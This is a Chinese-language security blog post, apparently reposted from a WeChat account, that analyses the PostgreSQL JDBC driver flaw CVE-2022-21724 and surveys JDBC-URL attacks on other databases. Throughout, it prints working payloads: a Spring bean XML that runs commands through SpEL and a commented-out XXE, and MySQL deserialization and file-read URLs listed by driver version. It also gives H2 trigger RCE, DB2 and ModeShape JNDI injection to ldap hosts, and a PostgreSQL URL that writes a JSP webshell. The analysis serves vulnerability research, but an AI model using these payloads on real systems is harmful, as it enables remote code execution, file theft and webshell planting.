由CVE-2022-21724引申jdbc漏洞

admin 2022年4月23日04:00:15评论391 views字数 7571阅读25分14秒阅读模式

一、    CVE-2022-21724
最近有人发文章分析了这个PostgreSQL漏洞,我很感兴趣但点进去却删除了文章,不得已只能自己来分析。
先去cve网站上找这个CVE,发现是个jdbc漏洞。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21724
authenticationPluginClassName/sslhostnameverifier/socketFactory/sslfactory/sslpasswordcallback这几个参数会造成类实例化。
然后看那几个github链接,好吧,已经把poc都给出来了。
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
再看看代码更新
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
 

由CVE-2022-21724引申jdbc漏洞

老代码传的类名,最后做强转,而新代码直接传的指定类。而这种修改有多处,应该对应它公布的那多个参数。
那我们在spring环境中进行代码测试,监听本地80端口。

<dependency>    <groupId>org.postgresql</groupId>    <artifactId>postgresql</artifactId>    <version>42.3.1</version></dependency>


    public static void main(String[] args) throws Exception{        String driver = "org.postgresql.Driver";        Class.forName(driver);        String DB_URL = "jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:80/exp.xml";        Connection conn = DriverManager.getConnection(DB_URL);    }

由CVE-2022-21724引申jdbc漏洞

收到请求,在org.postgresql.core.SocketFactoryFactory.getSocketFactory()下断点。

由CVE-2022-21724引申jdbc漏洞

  publicstaticSocketFactory getSocketFactory(Properties info) throwsPSQLException {    // Socket factory    String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info);    if (socketFactoryClassName == null) {      return SocketFactory.getDefault();    }    try {      return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true,          PGProperty.SOCKET_FACTORY_ARG.get(info));    } catch (Exception e) {      thrownewPSQLException(          GT.tr("TheSocketFactory class provided {0} could not be instantiated.",              socketFactoryClassName),          PSQLState.CONNECTION_FAILURE, e);    } }

socketFactoryClassName为我们传入的socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
PGProperty.SOCKET_FACTORY_ARG.get(info)为我们传入的socketFactoryArg=http://127.0.0.1:80/exp.xml
跟进org.postgresql.util.ObjectFactory.instantiate()



publicstatic Objectinstantiate(String classname,Properties info, booleantryString, @Nullable String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException,InstantiationException, IllegalAccessException, InvocationTargetException { @Nullable Object[] args = {info}; Constructor<?> ctor = null; Class<?> cls = Class.forName(classname); try { ctor = cls.getConstructor(Properties.class); } catch (NoSuchMethodException ignored) { } if (tryString && ctor == null) { try { ctor = cls.getConstructor(String.class); args = newString[]{stringarg}; } catch (NoSuchMethodException ignored) { } } if (ctor == null) { ctor = cls.getConstructor(); args = newObject[0]; } returnctor.newInstance(args);

可以看到是熟悉的反射写法,实际上就是需要socketFactory类有单String的构造方法,然后传入socketFactoryArg进行实例化。
相当于new socketFactory(socketFactoryArg)。由于socketFactory没有进行类检测,任意类都行,因此造成了危害,后面的修复方案也就是限定其为SocketFactory.class。
单String参数构造方法就能造成危害的还是比较少的,我第一时间想的就是java.io.FileOutputStream来建立空白文件,在fastjson1.2.68中我们也利用过这个类。

由CVE-2022-21724引申jdbc漏洞

当然这很难称的上什么危害,而原POC用的是org.springframework.context.support.ClassPathXmlApplicationContext,似乎造成了一次SSRF,更确切来说是一次XXE,如何RCE呢?
我们搜索这个类的用法,发现其可以读取SpringBean 配置文件,且可以通过SpEL表达式来造成RCE。

<?xml version="1.0" encoding="UTF-8"?><!--DOCTYPE GVI [<!ENTITY % xxe SYSTEM "http://127.0.0.1:5667/" >%xxe;]--><beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans                        http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="world" class="java.lang.String">        <constructor-arg value="#{T (java.lang.Runtime).getRuntime().exec('calc')}"/>    </bean></beans>

由CVE-2022-21724引申jdbc漏洞


以及注释中的XXE也是可行的,通过这个xml应该还有更多方法进行RCE。

回过头来看,这个漏洞提到了多个参数,那么authenticationPluginClassName/sslhostnameverifier/socketFactory/sslpasswordcallback也能RCE吗。
答案是不行,因为它们传入的参数都是null,也就是只能无参构造一个类。单String构造RCE已经够苛刻了,无参构造再强转报错无论如何都不可能了。

这是一个非常典型的jdbc漏洞,那么PostgreSQL-jdbc还有其他漏洞吗?其他数据库有哪些jdbc漏洞呢?

二、    什么是jdbc

jdbc为java数据库连接标准,为了统一数据库的连接格式而制定的。常见写法如下,先加载数据库驱动,再创建jdbc数据库连接,最后执行sql。

        String driver = "com.mysql.jdbc.Driver";        Class.forName(driver);        String DB_URL = "jdbc:mysql://127.0.0.1:3306/imooc?username=root&password=123456";        Connection conn = DriverManager.getConnection(DB_URL);        Statement stmt = conn.createStatement();        ResultSet rs = stmt.executeQuery("SELECT user_name, age FROM imooc_goddess");

其中jdbc:mysql://127.0.0.1:3306/imooc?username=root&password=123456这种类似url的一般称之为jdbc,常见于各种项目的后台,比如h2console,weblogic。

三、    jdbc的危害之mysql篇

恶意mysql服务器可以读文件,很多人在学习php的时候就知道,在java中同样如此。因此如果一个项目有jdbc的可控点和mysql驱动,就相当于任意文件读取。
https://paper.seebug.org/1112/
而java的mysql还多了反序列化一项危害。
https://paper.seebug.org/1227/
mysql-jdbc文件读取和反序列化都受mysql-connector-java版本影响,在客户端和服务端的交互过程中,还会自主暴漏jdk版本和mysql-connector-java版本。
可以在恶意服务器中加入如下代码来探测。

        javaversion = ''.join(re.findall(r'_runtime_version[Ss]*?x0f',version))        clientversion = ''.join(re.findall(r'mysql-connector[Ss]*?x20',version))

总结一下版本的影响。
5.0.2-5.0.10,需要连接之后再查询

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc


5.1.11-5.1.48

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc


5.1.28-5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_CommonsCollections6_calc


5.1.29-5.1.40

jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_CommonsCollections6_calc


6.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc


<8.1.20

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_calc


全版本都可以文件读取

jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&user=linux_passwd


=>5.1.8需要增加maxAllowedPacket=655360
=>5.1.49需要增加allowLoadLocalInfile=true
=>8.0.15需要增加allowLoadLocalInfile=true
>8.0.24,MySQL_Fake_Server会报错
其中allowUrlInLocalInfile=true还可用url的协议,即file/http/jar/netdoc

除此之外,在5.1.30<=mysql-connector-java<=5.1.48这些版本,还多了fabric这个功能,可以造成XXE。

jdbc:mysql:fabric://127.0.0.1:81


81端口index.html正常XXE,用java-ftp-oob即可。

可以看到,光mysql的jdbc危害就这么多,但可控jdbc并不是那么常见,有什么办法能够扩展危害呢?
fastjson-1.2.68和ldap-db-Factory给了一份答案,通过fastjson和ldap可控点,也能达到jdbc可控的目的,最终造成反序列化/文件读取/XXE。
https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg
https://tttang.com/archive/1405/

四、    jdbc的危害之其他数据库篇

最近su18刚刚把他的jdbc文章汉化
https://paper.seebug.org/1832/
以及他参考的2019BlackHat议题
https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
我们可以学到很多jdbc利用方式。
h2——RCE(除了javascript之外,原文中还介绍了远程sql和Groovy)

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONINFORMATION_SCHEMA.TABLES AS $$//javascriptjava.lang.Runtime.getRuntime().exec('calc')$$


DB2——jndi注入

jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;

ModeShape——jndi注入

jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass

Derby——反序列化

jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip

SQLite——SSRF/Magellan溢出

jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db

PostgreSQL——RCE/webshell写入
原文中还提到过PostgreSQL的jdbc也存在危害,有两个,一个是今天分析的CVE-2022-21724,另一个是log文件写入。

jdbc:postgresql://<%Runtime.getRuntime().exec(request.getParameter("i"));%>:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp

连接后会产生shell.jsp的报错文件,其中记录的报错将jsp webshell写了进去,如果有tomcat的路径,就可以写入webshell。

由CVE-2022-21724引申jdbc漏洞

注意这里jsp代码放在host位置上的原因是放在其他地方会被转码。以及可以控制loggerLevel=TRACE,如果用的log组件是log4j2,还可以用来触发它的漏洞。

Oracle——泄露user/SSRF

jdbc:oracle:thin:@//127.0.0.1:1521/orclrninfornquitrn%20

这个监听1521端口就很容易发现

由CVE-2022-21724引申jdbc漏洞

不过因为前面有%00之类的脏数据,是无法攻击redis的。


原文始发于微信公众号(珂技知识分享):由CVE-2022-21724引申jdbc漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日04:00:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由CVE-2022-21724引申jdbc漏洞http://cn-sec.com/archives/909903.html

发表评论

匿名网友 填写信息